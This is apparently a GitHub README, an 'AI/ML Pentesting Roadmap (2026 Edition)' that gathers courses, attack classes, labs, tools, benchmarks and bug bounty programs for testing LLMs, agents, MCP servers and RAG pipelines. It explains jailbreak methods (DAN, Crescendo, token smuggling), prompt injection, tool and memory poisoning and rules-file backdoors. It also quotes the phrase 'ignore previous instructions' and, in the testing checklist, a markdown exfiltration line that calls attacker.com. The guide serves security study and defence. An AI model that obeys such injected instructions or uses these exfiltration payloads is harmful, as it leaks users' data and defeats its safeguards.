Skip to content
BranchesTags

Latest commit

 

History

33 Commits

Folders and files

NameName
Last commit message
Last commit date
README.md
README.md
 
 

Repository files navigation

🛡️ AI/ML Pentesting Roadmap (2026 Edition)

output

A comprehensive, structured guide to learning AI/ML security and penetration testing — from zero to practitioner. Updated with the latest tools, research, attack surfaces (including MCP/agentic AI, RAG, AI coding assistants, agent skills, and computer-use agents), and community resources.

Legend used throughout this roadmap: Foundational — still the best way to learn the concept · Historical — kept for context, superseded in practice · Archived — project no longer maintained but still readable · Legacy — older version retained alongside its successor · Unverified — community-submitted, not independently validated by maintainers

📋 Table of Contents

  1. Prerequisites
  2. Phase 1 — Foundations
  3. Phase 2 — AI/ML Security Concepts
  4. Phase 3 — Prompt Injection & LLM Attacks
  5. Phase 4 — Agentic AI, MCP & Agent Ecosystem Security
  6. Phase 5 — RAG, Vector & Embedding Security
  7. Phase 6 — Hands-On Practice
  8. Phase 7 — Advanced Exploitation Techniques
  9. Phase 8 — Real-World Research & Bug Bounty
  10. Standards, Frameworks & References
  11. Tools & Repositories
  12. Benchmarks & Datasets
  13. Books, PDFs & E-Books
  14. Video Resources & Podcasts
  15. CTF & Competitions
  16. Bug Bounty Programs
  17. Community & News
  18. Key Academic Papers
  19. Suggested Learning Path by Experience Level
  20. What's New in This Edition

Prerequisites

Before diving into AI/ML pentesting, ensure you have the following foundation:

General Security Basics

Why web security first: a large share of paid AI bug bounty findings are classic AuthZ, IDOR, SSRF, and cache-deception bugs reached through an AI feature. The model is often just a new entry vector to the same old bug classes.

Programming (Python is essential)

APIs & HTTP

  • Understand REST APIs, HTTP methods, headers, and authentication flows
  • Postman Learning Center
  • Practice with tools: curl, Burp Suite, Postman
  • Understand OAuth 2.0 / OAuth 2.1 and JWT — required for MCP authorization work

Autonomous / AI-Assisted Pentest Platforms

  • Darkmoon — Open source (GPL-3.0) autonomous AI penetration testing platform covering web, API, Active Directory and Kubernetes, with proof of exploitation and a local privacy gateway. Unverified

Phase 1 — Foundations

1.1 Machine Learning Fundamentals

Resource Type Cost
Machine Learning — Andrew Ng (Coursera) Course Audit Free · Foundational
Machine Learning Specialization (current successor) Course Audit Free
Introduction to ML — edX Course Audit Free
fast.ai Practical Deep Learning Course Free
Google Machine Learning Crash Course Course Free
Kaggle ML Courses Course Free
3Blue1Brown — Neural Networks Video Free

1.2 Large Language Models (LLMs)

Understanding how LLMs work is critical before attacking them.

Resource Type Cost
Andrej Karpathy — Intro to LLMs Video Free
Andrej Karpathy — Let's build GPT Video Free
Andrej Karpathy — Let's build the GPT Tokenizer Video Free — tokenization underpins token smuggling, homoglyph and Unicode attacks
Hugging Face NLP Course Course Free
Hugging Face Agents Course Course Free — tool calling and agent loops from first principles
LLM University by Cohere Course Free
Prompt Engineering Guide Guide Free
The Illustrated Transformer — Jay Alammar Article Free · Foundational
Attention Is All You Need (original transformer paper) Paper Free · Foundational

1.3 Model Internals That Matter for Attackers

You do not need to train models, but you do need to know where the seams are.

  • Tokenization — byte-pair encoding explains why invisible characters, homoglyphs and control characters slip past filters
  • Context window & attention — why "ignore previous instructions" works at all: there is no privilege boundary between system, user, and retrieved text inside the token stream
  • Embeddings — why vector stores leak (see Phase 5)
  • Inference & sampling — temperature, top-p, and why attack reproducibility is probabilistic
  • Fine-tuning, RLHF/RLAIF & alignment — where safety training lives, and why it is shallow relative to capability
  • Anthropic — Constitutional AI — how RLAIF-style alignment is actually built
  • Hugging Face — RLHF illustrated

Phase 2 — AI/ML Security Concepts

2.1 Core Security Concepts

2.2 Attack Surface Overview

Key attack vectors in AI/ML systems:

  • Prompt Injection — Manipulating LLM behavior through crafted inputs
  • Indirect Prompt Injection (IPI) — Attacks via documents, web content, emails, RAG pipelines
  • Jailbreaking — Bypassing safety filters and guardrails
  • Multi-Turn Attacks — Attacks unfolding across extended conversations (92% success rate reported in 2025 research)
  • Tool Poisoning — Injecting malicious instructions into MCP tool metadata/descriptions
  • Model Inversion — Extracting training data from a model
  • Membership Inference — Determining if data was in training set
  • Data Poisoning — Corrupting training data to influence behavior
  • Adversarial Examples — Perturbed inputs that fool classifiers
  • Model Extraction/Stealing — Cloning a model via API queries
  • Supply Chain Attacks — Malicious models/weights on platforms like Hugging Face
  • MCP Server Exploitation — Tool poisoning, resource theft, conversation hijacking via MCP
  • AI IDE Attacks — Exploiting Cursor, GitHub Copilot, Claude Code via rules files and MCP config
  • RAG Poisoning — Injecting malicious content into retrieval-augmented generation pipelines
  • Training Data Exfiltration — Extracting memorized private data
  • Denial of Service — Overloading models via crafted prompts
  • Agent-to-Agent Attacks — Compromising multi-agent pipelines (A2A protocol abuse)
  • Agent Skill / Plugin Poisoning — Malicious instructions in SKILL.md, plugin manifests and marketplace packages
  • Memory Poisoning & Persistence — Writing attacker instructions into long-term agent memory so they survive the session
  • Hidden Context Exposure — Leaking retrieved documents, memory, tool responses and application state, not just the literal system prompt (OWASP LLM08:2026)
  • Embedding Inversion & Cross-Tenant Retrieval — Reconstructing source text from vectors; retrieving another tenant's chunks
  • Visual / Multimodal Prompt Injection — Instructions hidden in images, screenshots, OCR text, audio, PDFs
  • Confused Deputy & Excessive Agency — Agent uses its own high privileges on behalf of a low-privileged attacker
  • Shadow MCP / Shadow Agents — Unapproved, unmanaged agent infrastructure inside the enterprise

2.3 MLOps & Infrastructure Security

Phase 3 — Prompt Injection & LLM Attacks

3.1 Understanding Prompt Injection

3.2 Jailbreaking Techniques

  • DAN (Do Anything Now) — Classic jailbreak technique: Chatgpt-DAN Repo · Historical
  • Role-playing / Persona manipulation
  • Token smuggling — Encoding instructions to bypass filters
  • Prompt leaking — Extracting system prompts
  • Indirect prompt injection — Attacks via documents, web content, memory
  • Multi-turn jailbreaks — Steering models over successive conversation turns (>90% bypass rate against most published defenses)
  • Crescendo / gradual escalation — Benign opening turns that incrementally relocate the conversation past the refusal boundary
  • Low-resource language and encoding transfer — Safety training generalizes unevenly across languages, base64, ROT13 and leetspeak
  • WideOpenAI — Jailbreak Collection
  • PayloadsAllTheThings — Prompt Injection
  • PALLMs — Payloads for Attacking LLMs
  • L1B3RT4S — jailbreak prompt collection — Large, actively updated public jailbreak corpus, useful as a regression-test set

3.3 Indirect Prompt Injection

A sophisticated attack where malicious instructions are injected via external data sources (emails, documents, websites, RAG chunks) that an LLM agent processes.

3.4 Advanced Prompt Attack Techniques

3.5 Defenses Worth Understanding (and Breaking)

You cannot assess a defense you do not understand. Every item below has published bypasses — study both halves.

Phase 4 — Agentic AI, MCP & Agent Ecosystem Security

This is the fastest-growing and most dangerous attack surface as of 2025–2026. When LLMs are given tools, memory, and autonomous action capabilities, the blast radius of any injection expands dramatically.

4.1 Why Agentic AI Changes Everything

Agentic AI systems operate in observe-orient-decide-act loops. They can browse the web, read/write files, execute code, call APIs, and communicate with other agents. A single successful injection can lead to:

  • Remote Code Execution (RCE)
  • Data exfiltration from private repositories
  • Unauthorized financial transactions
  • Lateral movement across multi-agent pipelines

Key reading:

4.2 Model Context Protocol (MCP) Security

MCP (introduced by Anthropic in late 2024) is the de facto standard for connecting LLMs to external tools — and is the dominant new attack surface.

MCP-specific attack classes:

  • Tool Poisoning — Embedding malicious instructions in tool description fields that agents trust implicitly
  • Tool Shadowing — Registering a malicious tool with a name/description that intercepts calls meant for a legitimate tool
  • Rug Pull — A server that serves a benign tool definition at install time and mutates it later
  • Resource Theft — Abusing MCP sampling to drain compute quotas
  • Conversation Hijacking — Compromised MCP servers inject persistent instructions
  • Covert Tool Invocation — Hidden file system operations without user awareness
  • Cross-MCP Contamination — One MCP server overrides another's behavior
  • Token Passthrough / Confused Deputy — Servers accepting tokens not issued for them; missing audience binding
  • Shadow MCP — Unapproved servers running inside the org with no inventory or audit trail
  • STDIO credential harvesting — Local servers inheriting the full environment, including every secret in it

Standards and primary guidance:

Attack research:

Notable MCP CVEs and incidents to study:

  • CVE-2025-6514 — mcp-remote proxy RCE (CVSS 9.6), 437,000+ affected installs
  • CVE-2025-53109 / CVE-2025-53110 — "EscapeRoute" filesystem MCP sandbox bypass
  • Anthropic Git MCP server — argument-injection class issues allowing backdoors via processed repositories
  • Supabase/Cursor support-ticket chain (June 2025) — SQL executed and exfiltrated via a poisoned support ticket
  • Asana MCP cross-tenant exposure (2025) — Multi-tenant isolation failure in a production MCP integration

4.3 AI IDE & Coding Assistant Security

AI coding assistants (Claude Code, GitHub Copilot, Cursor, Windsurf, Cline, Roo Code, Codex-class tools) have system-level access and are a high-value target. Assume every file in a cloned repository is attacker-controlled input.

  • Rules File Backdoor — .cursor/rules, CLAUDE.md, AGENTS.md, .github/copilot-instructions.md and similar context files can be poisoned with malicious instructions
  • Settings/hook execution — Repository-controlled configuration that runs commands at project-open time, before any user interaction
  • MCP config injection — Malicious mcp.json entries added to a repo
  • CVE-2025-53773 — GitHub Copilot RCE (CVSS 9.6) via prompt injection
  • CVE-2025-54135 — Cursor indirect prompt injection via MCP config → RCE
  • CVE-2025-59536 — Claude Code hook-triggered RCE (CVSS 8.7), patched Oct 2025
  • CVE-2026-21852 — Claude Code API key exfiltration (CVSS 5.3), patched Jan 2026
  • IDEsaster — 30+ CVEs in AI IDEs: The Hacker News coverage

Resources:

4.4 Agent Skills, Plugins & Extension Supply Chain

The SKILL.md file is the new package.json, and it currently ships with no signing, no sandbox by default, and a publishing bar of roughly "a Markdown file and a week-old GitHub account." This is the fastest-moving supply-chain story of 2026.

4.5 Meta's "Agents Rule of Two" Framework

Meta's Oct 2025 architectural approach: agents must satisfy no more than two of:

  • (A) Processing untrustworthy inputs
  • (B) Access to sensitive data
  • (C) Ability to change state externally

This provides a deterministic way to bound blast radius. Read: Meta — Practical AI Agent Security

Use it as a triage heuristic on engagements: find the agent that satisfies all three, and you have found where to spend your time.

4.6 Computer-Use & Browser Agent Security

Agentic browsers and GUI agents inherit the user's authenticated sessions and cookies, which turns any injected instruction into a cross-origin data-access primitive.

4.7 Multimodal Attack Surface

4.8 Multi-Agent, A2A & Memory Attacks

  • PoisonedRAG (USENIX Security 2025) — Knowledge corruption attack injecting poisoned texts into RAG databases
  • A2A Protocol Abuse — Google's Agent2Agent protocol creates new inter-agent attack surfaces
  • Log-To-Leak — Covert privacy attacks via side channels in agent logs
  • MINJA / memory poisoning — Writing adversarial entries into an agent's long-term memory store so the injection outlives the session
  • ScienceDirect — From Prompt Injections to Protocol Exploits — 30+ attack techniques catalogued across agent ecosystems
  • Microsoft — AI Recommendation Poisoning — Feb 2026; commercial-scale manipulation of agent recommendations observed in the wild

4.9 Agent Identity & Authorization

Increasingly the actual root cause behind "prompt injection" incidents: the agent had more authority than the person driving it.

  • Per-agent identity with short-lived credentials rather than shared service accounts
  • Audience-bound tokens; never pass a user token through to a downstream MCP server unchanged
  • Human-in-the-loop gates on state-changing and irreversible actions
  • Sandboxed execution and explicit blast-radius isolation
  • Continuous behavioral monitoring with kill switches
  • OWASP Agent Control Standard — Donated to the GenAI Security Project in Sept 2026; runtime enforcement model for agent behavior
  • Test for confused-deputy conditions first: can a low-privileged input cause the agent to exercise its own high privileges?

Phase 5 — RAG, Vector & Embedding Security

RAG is where enterprise data meets untrusted content, and it maps to LLM09: Vector and Embedding Weaknesses in the OWASP 2026 list. The knowledge base is part of the attack surface, not a trusted internal resource.

5.1 Attack Classes

  • Corpus / knowledge-base poisoning — Published research shows a handful of documents among millions can reach 90%+ attack success on targeted queries; a single poisoned document is often enough to steer a specific answer
  • Indirect prompt injection via retrieved chunks — The most common real-world RAG bug
  • Embedding inversion — Reconstructing substantial portions of source text from stored vectors. Embeddings are not anonymization
  • Cross-tenant retrieval — Inadequate logical partitioning in a shared vector store returning another tenant's chunks
  • Authorization drift — The retriever runs with a service identity that ignores the calling user's document-level ACLs; the classic "the chatbot answered from a file I can't open" finding
  • Retrieval-side exfiltration — Using the retriever as an oracle to enumerate the corpus
  • Federation knowledge conflict — Conflicting sources causing unpredictable trust resolution
  • Similarity-search DoS — Weaponizing unbounded ANN query cost

5.2 Reading

5.3 Testing a RAG Pipeline

A practical checklist for engagements:

  1. Can you get content into the corpus? (upload, crawl, ticket, email, shared drive, wiki)
  2. Does retrieved content get treated as instructions rather than data?
  3. Is document-level authorization enforced at retrieval time or only at the UI?
  4. In multi-tenant deployments, can crafted near-duplicate queries surface another tenant's chunks?
  5. Are ingested documents scanned for injection payloads and invisible Unicode before embedding?
  6. Are retrieval traces logged with attribution, so a poisoned chunk can be traced and quarantined?
  7. Can the vector store be reached directly, without going through the application?

Phase 6 — Hands-On Practice

6.1 Interactive Platforms & Games

Platform Description Link
Gandalf LLM prompt testing game — extract the password (8 levels) gandalf.lakera.ai
OWASP FinBot CTF ⭐ NEW "The Juice Shop for Agentic AI." Multi-agent vendor-management platform with real tool access; challenges mapped to OWASP LLM Top 10, ASI Top 10, CWE and MITRE ATLAS. No setup, browser-based owasp-finbot-ctf.org
AI Goat (AIGoat) ⭐ NEW Local-first, fully offline vulnerable AI e-commerce app (Ollama-backed). Attack labs + CTF challenges + progressive defense levels across the whole OWASP LLM Top 10 github.com/AISecurityConsortium/AIGoat
Damn Vulnerable MCP Server (DVMCP) ⭐ NEW 10 Dockerized MCP challenges: prompt injection, tool poisoning, excessive permissions, rug pulls, tool shadowing, token theft, multi-vector chains github.com/harishsg993010/damn-vulnerable-MCP-server
Prompt Airlines Gamified prompt injection learning promptairlines.com
Crucible Interactive AI security challenges by Dreadnode crucible.dreadnode.io
Immersive Labs AI Structured AI security exercises prompting.ai.immersivelabs.com
Secdim AI Games Prompt injection games play.secdim.com/game/ai
HackAPrompt Community prompt injection competition hackaprompt.com
PortSwigger LLM Labs Hands-on web LLM attack labs — prompt injection, excessive agency, insecure output handling Web Security Academy
PromptTrace 7 labs + 15-level CTF with real-time context trace prompttrace.airedlab.com · Unverified
CrowdStrike AI Unlocked Agent-focused prompt injection challenges (Feb 2026) crowdstrike.com
AI/LLM Exploitation Challenges AI, ML, LLM CTF challenges 8ksec.io
LLMVault CTF-style LLM security lab aligned to the OWASP LLM Top 10 github.com/CyberSunil/LLMVault · Unverified
Jackpot Ten-floor casino, each floor a deliberately broken AI, one per OWASP LLM Top 10 category hego.red/jackpot · Unverified

6.2 Vulnerable-by-Design Projects

Repository Description
Damn Vulnerable LLM Agent — WithSecureLabs Intentionally vulnerable ReAct LLM agent
Damn Vulnerable MCP Server ⭐ 10 MCP challenges, easy → hard, Docker ports 9001–9010
AIGoat — AI Security Consortium ⭐ Full OWASP LLM Top 10 coverage, runs offline with Ollama
OWASP FinBot CTF (source) ⭐ Self-hostable agentic CTF platform, Python 3.13+
OWASP GenAI Red Team Lab ⭐ Local LLM and RAG sandboxes + garak/promptfoo exploitation examples
invariantlabs-ai/mcp-injection-experiments ⭐ Reproducible tool poisoning, shadowing and sleeper rug-pull servers
ScottLogic Prompt Injection Playground Local prompt injection lab
Greshake LLM Security Tools Proof-of-concept attacks · Foundational
ctf-prompt-injection by CharlesTheGreat77 Dockerized CTF with Ollama + local LLM, progressively harder levels
ai-prompt-ctf by c-goosen Indirect injection against tool-calling agents: RAG, function calling, ReAct

6.3 Tutorials

6.4 CTF Writeups to Study

Phase 7 — Advanced Exploitation Techniques

7.1 Agent & Tool Integration Attacks

7.2 Data Exfiltration via LLMs

7.3 Account Takeover & Authentication Attacks

7.4 XSS & Web Vulnerabilities in AI Products

7.5 Model & Infrastructure Attacks

7.6 Persistent Attacks & Memory Exploitation

7.7 Adversarial Machine Learning

7.8 Supply Chain & Model File Attacks

  • Malicious code embedded in model files (pickle, safetensors) can execute on load
  • 250 poisoned documents in training data can implant backdoors that activate on trigger phrases
  • ModelScan — ProtectAI — Scan ML model files for malicious payloads
  • picklescan — Detects unsafe globals in pickled model files; used by Hugging Face scanning
  • Hugging Face — model security documentation — Malware scanning, pickle scanning, secrets scanning, and how to read the warnings on a repo
  • Fake npm/pip packages mimicking AI integrations (e.g., fake email MCP that silently copies outbound messages)
  • Agent skill and plugin marketplaces (see 4.4) — now the highest-velocity part of this surface
  • Provenance direction of travel: AIBOM, model signing and SLSA-style attestation for weights and datasets; expect these to become audit requirements before they become reliable controls

Phase 8 — Real-World Research & Bug Bounty

8.1 Notable Research & Disclosures

8.2 How to Find LLM Vulnerabilities

Key areas to test when assessing an LLM-powered application:

  1. System prompt extraction — Can you leak the hidden system prompt?
  2. Hidden context exposure — Beyond the system prompt: retrieved docs, memory, tool responses, app state (OWASP LLM08:2026)
  3. Instruction override — Can you ignore system-level instructions?
  4. Plugin/tool abuse — Can agent tools be misused (SSRF, RCE, SQLi)?
  5. MCP tool poisoning — Can you inject instructions into tool metadata?
  6. Tool shadowing / rug pull — Can a second server intercept or mutate a trusted tool?
  7. Data exfiltration via markdown — Does the UI render ![](https://attacker.com?q=...) ?
  8. Persistent injection via memory/RAG — Can you inject instructions that persist?
  9. PII leakage — Does the model reveal training data or other users' data?
  10. Cross-user / cross-tenant data leakage — In multi-tenant apps, can you reach other users' contexts or vector chunks?
  11. Authorization bypass — Can you trick the LLM into performing privileged actions?
  12. Confused deputy — Does the agent's identity carry more authority than the requesting user's?
  13. Multi-turn escalation — Can you steer the model across conversation turns?
  14. AI IDE rules file backdoor — Can .cursor/rules, CLAUDE.md, AGENTS.md or hooks be poisoned?
  15. Agent skill / plugin poisoning — Is third-party skill content reviewed, signed, or sandboxed?
  16. Supply chain — Are third-party models/datasets scanned for malicious payloads?
  17. Unbounded consumption — Can you drive cost or latency DoS through prompts, retrieval, or sampling?

Standards, Frameworks & References

Resource Description
OWASP GenAI LLM Top 10 (2026) Current. Published 4 Aug 2026; adds Hidden Context Exposure, elevates Excessive Agency, maps to NIST/ATLAS/CWE/ASI
OWASP LLM Top 10 (2025) Legacy — still the mapping target for most 2025–early-2026 tooling and CTFs
OWASP Top 10 for LLM Apps v1.1 (2023) Historical archive
OWASP Top 10 for Agentic Applications (2026) ASI01–ASI10; goal hijack, tool misuse, memory poisoning, rogue agents
OWASP MCP Top 10 MCP01–MCP10 protocol-layer risks
OWASP Agent Control Standard Runtime enforcement model for agent behavior, donated Sept 2026
OWASP AI Exchange Cross-industry AI security guidance; feeds ISO/IEC and EU AI Act work
OWASP GenAI Red Teaming Guide Practical red teaming methodology (Resources index)
MITRE ATLAS AI adversarial threat matrix; v5.1.0 Nov 2025, agentic techniques added through 2026
MITRE ATLAS Navigator & Arsenal Free threat-modeling and red-team tooling built on the matrix
NIST AI 100-2e2025 Adversarial ML taxonomy and terminology (March 2025)
NIST AI RMF US Federal AI risk management framework
NIST AI 600-1 — Generative AI Profile GenAI-specific companion profile to the AI RMF
ISO/IEC 42001 International AI management standard
ENISA AI Threat Landscape EU AI threat landscape report
Google Secure AI Framework (SAIF) Google's AI security framework
CISA — AI security guidance US joint guidance on deploying AI systems securely
UK NCSC — Machine Learning Principles Principles-based ML security guidance referenced by NIST
CSA AI Controls Matrix 247 control objectives across 18 domains; maps to ISO 42001 and ISO 27001
Model Context Protocol specification Read the security and authorization sections of the current revision

Tools & Repositories

Offensive / Red Team Tools

Tool Purpose
garak — NVIDIA LLM vulnerability scanner — 100+ probes for injection, jailbreaks, leakage. Note: the canonical repo moved from leondz/garak to NVIDIA/garak. Paper: arXiv 2406.11036
PyRIT Microsoft's Python Risk Identification Toolkit; multi-turn strategies (Crescendo, TAP, Skeleton Key) across text, image, audio
promptfoo ⭐ LLM eval + red teaming with 50+ vulnerability checks and first-class CI/CD integration
DeepTeam ⭐ Red-teaming framework simulating jailbreaks and multi-turn attacks across 40+ probes
Giskard ⭐ Testing framework detecting injection, hallucination, bias and toxicity
PurpleLlama / CyberSecEval Meta's LLM security evaluation suite (repo moved from facebookresearch/PurpleLlama)
LLM Fuzzer Fuzzing framework for LLMs
PALLMs Payloads for attacking LLMs
PromptInject Prompt injection attack framework · Foundational
LLM Injector LLM Injector Burp Suite Extension
Prompt Map Security scanner for custom LLM applications
Augustus — Praetorian Feb 2026: 210+ probes, 47 attack categories, 28 LLM providers, Go binary
Spikee — WithSecure Custom injection datasets + automated tests, Burp Suite integration
AgentSeal 150 attack probes against AI agents; supports OpenAI, Anthropic, Ollama · Unverified
Token Turbulenz Fuzzer to automate looking for prompt injections
InjectLab MITRE-style matrix of adversarial prompt injection techniques · Unverified

MCP & Agent Security Tools ⭐ NEW

Tool Purpose
mcp-scan — Invariant Labs ⭐ The reference MCP scanner. Detects tool poisoning and cross-origin escalation, pins tool hashes to catch rug pulls, scans installed agents/servers/skills, and can proxy traffic through local guardrails
mcp-scanner — Cisco AI Defense Multi-engine (YARA, LLM analysis, Cisco AI Defense) scanning of MCP tools, prompts, resources and server instructions; CLI or REST; CI/CD static mode
skill-scanner — Cisco AI Defense Static analysis of agent skills
mcp-injection-experiments Attack-side reference implementations to validate your scanner
Sentinel AI Real-time detection across 12 languages, Claude Code attack vectors, MCP proxy · Unverified
Armorer Guard Local Rust scanner for AI-agent prompt injection, credential leakage, exfiltration, MCP context, risky tool-call enforcement · Unverified
PIC Standard Protocol to block unauthorized agent actions via intent + provenance checks · Unverified

Defensive / Scanning Tools

Tool Purpose
Rebuff Prompt injection detection
LLM Guard — Protect AI ⭐ 15 input + 20 output scanners: injection, PII, secrets, toxicity
NeMo Guardrails NVIDIA programmable input/dialog/retrieval/output rails
Lakera Guard Commercial prompt injection protection
AI Exploits — ProtectAI Real-world ML exploit collection
ModelScan Scan ML model files for malicious code
picklescan ⭐ Unsafe-global detection in pickled model files
Vigil LLM Stacked scanners: vector similarity, YARA, transformer classifier, canary tokens
InjecGuard +30.8% over prior SOTA on NotInject benchmark, addresses false positives
openclaw-bastion Detects Unicode homoglyphs, hidden HTML injection, zero-width character smuggling · Unverified
BodAIGuard 3-tier detection (regex, heuristics, structural), 42 block rules · Unverified
tldrsec/prompt-injection-defenses Actively maintained catalog of every practical defense in production

Reference Lists

Resource Description
Awesome LLM Security — corca-ai Curated LLM security list
Awesome LLM — Hannibal046 Everything LLM including security
Awesome AI Security — ottosulin General AI security resources
LLM Hacker's Handbook Comprehensive hacking handbook · Foundational
PayloadsAllTheThings — Prompt Injection Payload collection
WideOpenAI Jailbreak and bypass collection
Chatgpt-DAN DAN jailbreak collection · Historical
Awesome Prompt Injection — FonduAI Curated prompt injection resources

Benchmarks & Datasets

Reproducible measurement is what separates research from anecdote. Use these to justify findings and to test defenses rather than assert them.

Benchmark Focus Link
AgentDojo The standard agent security benchmark: 97 realistic tasks, 629 security cases across banking/email/travel/Slack (NeurIPS 2024) arXiv 2406.13352 · GitHub
InjecAgent Indirect prompt injection in tool-integrated agents; 1,054 cases across 17 tools (ACL 2024) arXiv 2403.02691
WASP Web agent security against prompt injection (Meta) arXiv 2504.18575
WAInjectBench Benchmarking prompt-injection detectors for web agents arXiv 2510.01354
VPI-Bench Visual prompt injection against computer-use agents arXiv 2506.02456
HarmBench Standardized automated red teaming and robust refusal evaluation (ICML 2024) arXiv 2402.04249
JailbreakBench Reproducible jailbreak artifacts and leaderboard jailbreakbench.github.io
CyberSecEval / PurpleLlama Meta's LLM cybersecurity risk evaluations GitHub
NotInject False-positive measurement for injection detectors InjecGuard repo

Datasets worth knowing: the HackAPrompt competition corpus (large real-world human injection dataset), garak's bundled probe payloads, and PayloadsAllTheThings for quick manual coverage.

Books, PDFs & E-Books

Resource Link
LLM Hacker's Handbook GitHub
OWASP GenAI LLM Top 10 2026 OWASP
OWASP Top 10 for Agentic Applications 2026 OWASP
NIST AI 100-2e2025 — Adversarial ML Taxonomy PDF
OWASP Top 10 for LLM (Snyk) PDF · Legacy
Bugcrowd Ultimate Guide to AI Security PDF
Lakera Real World LLM Exploits PDF
HackerOne Ultimate Guide to Managing AI Risks E-Book
Explaining and Harnessing Adversarial Examples — Goodfellow et al. arXiv · Foundational paper (also listed under Academic Papers)
Google AI Red Team Walkthrough PDF
AI Penetration Testing 2026 Guide HackingDream

Video Resources & Podcasts

Resource Link
Penetration Testing Against and With AI/LLM/ML (Playlist) YouTube
Andrej Karpathy — Intro to Large Language Models YouTube
Andrej Karpathy — Let's build the GPT Tokenizer YouTube
DEF CON AI Village Talks YouTube
LiveOverflow — AI/ML Security YouTube
3Blue1Brown — Neural Networks Series YouTube
John Hammond — AI Security Challenges YouTube
Cybrary — Machine Learning Security Cybrary
How AI Prompt Injection Works — Hands-On (Jan 2026) YouTube
MCP Prompt Injection: How AI Gets Hacked (Nov 2025) YouTube
Prompt Injection in LLM Agents: ReAct, Langchain YouTube
Black Hat — official channel (AI/ML track talks) YouTube
USENIX Security & Enigma conference talks YouTube

Conferences worth tracking: DEF CON AI Village, Black Hat AI/ML track, USENIX Security, NDSS, IEEE S&P, ACM CCS, OWASP Global AppSec (the GenAI Security Project runs summits and workshops alongside it — the November 2026 edition is the next major one).

CTF & Competitions

Competition Description Link
OWASP FinBot CTF ⭐ Agentic AI CTF from the OWASP GenAI Security Project; challenges mapped to LLM Top 10, ASI Top 10, CWE, ATLAS owasp-finbot-ctf.org
Crucible Ongoing AI security challenges crucible.dreadnode.io
HackAPrompt Annual prompt injection competition hackaprompt.com
AI Village CTF (DEF CON) Annual AI security CTF at DEF CON aivillage.org
Gandalf Self-paced LLM challenge, 8 levels gandalf.lakera.ai
Prompt Airlines Gamified injection challenges promptairlines.com
Hack The Box AI Challenges HTB AI-themed challenges hackthebox.com
Secdim AI Games Web-based AI security games play.secdim.com/game/ai
Gray Swan Arena Recurring public jailbreak/agent red-teaming competitions with prizes and leaderboards grayswan.ai
PromptTrace Gauntlet 15-level CTF with full context trace, real LLMs prompttrace.airedlab.com · Unverified
CrowdStrike AI Unlocked Agent-focused, increasingly capable challenges (Feb 2026) crowdstrike.com
ctf-prompt-injection (CharlesTheGreat77) Dockerized, self-hostable, Ollama + local LLM GitHub
ai-prompt-ctf (c-goosen) Indirect injection against tool-calling agents (RAG, ReAct, function calling) GitHub
AI/LLM Exploitation Challenges — 8ksec Structured AI/ML CTF challenges 8ksec.io

Bug Bounty Programs

AI/ML security bug bounties are growing rapidly — but scopes differ sharply, and reading the scope is the single highest-value thing you can do before submitting. The most common wasted report in 2026 is a prompt-injection finding sent to a program that explicitly excludes them.

Program Scope notes Link
OpenAI Security Bug Bounty Traditional security vulnerabilities across ChatGPT, API and infrastructure bugcrowd.com/openai
OpenAI Safety Bug Bounty ⭐ NEW Explicitly scopes third-party prompt injection and data exfiltration against agentic products (Browser, ChatGPT Agent). Jailbreaks out of scope; general content-policy bypasses out of scope openai.com/index/safety-bug-bounty
OpenAI Bio Bug Bounty Invite/NDA program, rolling applications, model-specific scope that rotates openai.com/index/bio-bug-bounty
Anthropic Claude, API, and a model-safety program focused on universal jailbreaks against deployed safeguards. Now run publicly on HackerOne anthropic.com/security
Google AI VRP Gemini apps, Search, Workspace core, AI Studio. ⚠️ Prompt injection, jailbreaks and alignment issues are explicitly out of scope — send those elsewhere. Rewards emphasize sensitive-data exfiltration and state-changing bugs bughunters.google.com
Microsoft (Copilot, Azure AI) Copilot consumer AI experiences and Azure OpenAI; updated in 2026 to accept moderate-severity submissions msrc.microsoft.com
Meta AI Bug Bounty Llama models, Meta AI facebook.com/whitehat
Huntr (AI/ML focused) Open-source ML libraries, and the Hugging Face Hub / models / spaces surface huntr.com
0DIN (Mozilla) GenAI-specific bounty program accepting jailbreak and model-manipulation classes that mainstream VRPs reject 0din.ai

Verification note: program scopes and payout tables change frequently. Every entry above should be re-read on the official page before you invest research time. Nothing in this table should be treated as a guarantee that a class of finding will be rewarded.

Tips for AI bug bounty:

  • Focus on data exfiltration via markdown rendering (still the most consistently paid finding)
  • Test MCP tool poisoning — embed instructions in tool descriptions
  • Test plugin/tool integrations thoroughly for SSRF, RCE
  • Look for prompt injection in RAG pipelines
  • Explore memory and persistent context manipulation
  • Check for cross-tenant data leakage in multi-user deployments
  • Test AI IDE rules files for backdoor injection vectors
  • Look for multi-turn escalation bypasses in long conversations
  • Demonstrate impact, not behavior. "The model said something bad" is not a finding. "An attacker-controlled document caused the agent to exfiltrate another user's data" is
  • Transfer your web skills: AuthZ, IDOR, SSRF and cache deception reached through an AI feature are often the highest-severity, fastest-triaged bugs in these programs

Community & News

Communities

Researchers Worth Following

Johann Rehberger (Embrace the Red) · Simon Willison · Kai Greshake · Florian Tramèr and the ETH SPY Lab (AgentDojo, adaptive attacks) · Edoardo Debenedetti · Nicholas Carlini (training-data extraction, adaptive attacks) · Rich Harang and Leon Derczynski (NVIDIA, garak) · Steve Wilson, John Sotiropoulos, Rock Lambros and the OWASP GenAI leads · Invariant Labs · HiddenLayer and Palo Alto Unit 42 research teams

Newsletters & Blogs

Key Academic Papers

Paper Year Topic
Explaining and Harnessing Adversarial Examples — Goodfellow et al. 2014 Adversarial examples · Foundational
Membership Inference Attacks against ML Models — Shokri et al. 2017 Membership inference · Foundational
Attention Is All You Need — Vaswani et al. 2017 Transformer architecture · Foundational
Extracting Training Data from Large Language Models — Carlini et al. 2021 Training-data extraction
Not What You've Signed Up For — Greshake et al. 2023 Indirect prompt injection · Foundational
Prompt Injection Attack against LLM-Integrated Applications 2023 Prompt injection
Jailbroken: How Does LLM Safety Training Fail? — Wei et al. 2023 Jailbreak theory
Universal and Transferable Adversarial Attacks on Aligned LMs — Zou et al. 2023 GCG / universal adversarial suffixes
FigStep: Jailbreaking Large Vision-Language Models via Typographic Visual Prompts 2023 Multimodal jailbreak
InjecAgent: Benchmarking Indirect Prompt Injections in Tool-Integrated Agents 2024 Agent benchmark
HarmBench: Standardized Evaluation for Automated Red Teaming 2024 Red-team benchmark
AgentDojo: A Dynamic Environment to Evaluate Prompt Injection Attacks and Defenses 2024 Agent security benchmark ⭐
garak: A Framework for Security Probing Large Language Models 2024 Scanning methodology
PoisonedRAG: Knowledge Corruption Attacks on RAG 2024/25 RAG poisoning (USENIX Sec 2025)
